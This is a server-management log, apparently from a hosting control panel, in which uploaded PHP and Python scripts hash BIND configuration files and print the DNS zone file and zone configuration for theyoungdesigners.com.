2026-03-21 14:25:29: 


zone reload up-to-date


2026-03-21 14:25:30: Establishing a connection
2026-03-21 14:25:31: 

PUT: /tmp/pkp558141

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-21 14:25:31: 

runuser -l bind -s /bin/bash -c '/tmp/pkp558141; rm /tmp/pkp558141'

2026-03-21 14:25:31: 
2026-03-21 14:25:31: 

PUT: /tmp/pkp785074

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/6e7fd231117136482801b6740f7def61.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-21 14:25:31: 

chmod 755 /tmp/pkp785074; /tmp/pkp785074; rm /tmp/pkp785074

2026-03-21 14:25:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/6e7fd231117136482801b6740f7def61.txt	658
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
theyoungdesigners.com.   		 IN    SOA      	theyoungdesigners.com. hostmaster.theyoungdesigners.com. ( 134820625 14400 3600 14400 3600 )
theyoungdesigners.com.   		 IN    NS       	ns1.hostz.org.
theyoungdesigners.com.   		 IN    NS       	ns2.hostz.org.
theyoungdesigners.com.    60	 IN    A        	46.102.156.201
@                         300	 IN    TXT      	"google-site-verification=11dUh9FLMRf24j-32pwKNgRGF8Oa5seZqLM65I2tYck"
74m33hw55hlw              60	 IN    CNAME    	gv-oglitwanm7n6xy.dv.googlehosted.com.
www.theyoungdesigners.com. 60	 IN    CNAME    	@






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= d93d0bae8173161ff099af9a127e1918
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-21 16:45:00: Establishing a connection
2026-03-21 16:45:00: 

PUT: /tmp/pkp731429

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-21 16:45:01: 

runuser -l bind -s /bin/bash -c '/tmp/pkp731429; rm /tmp/pkp731429'

2026-03-21 16:45:01: 
2026-03-21 16:45:01: 

PUT: /tmp/pkp910804

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/6e7fd231117136482801b6740f7def61.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-21 16:45:01: 

chmod 755 /tmp/pkp910804; /tmp/pkp910804; rm /tmp/pkp910804

2026-03-21 16:45:01: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/6e7fd231117136482801b6740f7def61.conf	257
# this is an automatically created file: manual changes will be overwritten.
zone "theyoungdesigners.com" IN {
  ##owner 0;
  type master;
  file "6e7fd231117136482801b6740f7def61.txt";
  allow-transfer { 66.175.233.192;  };
    allow-update { none; };

};






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
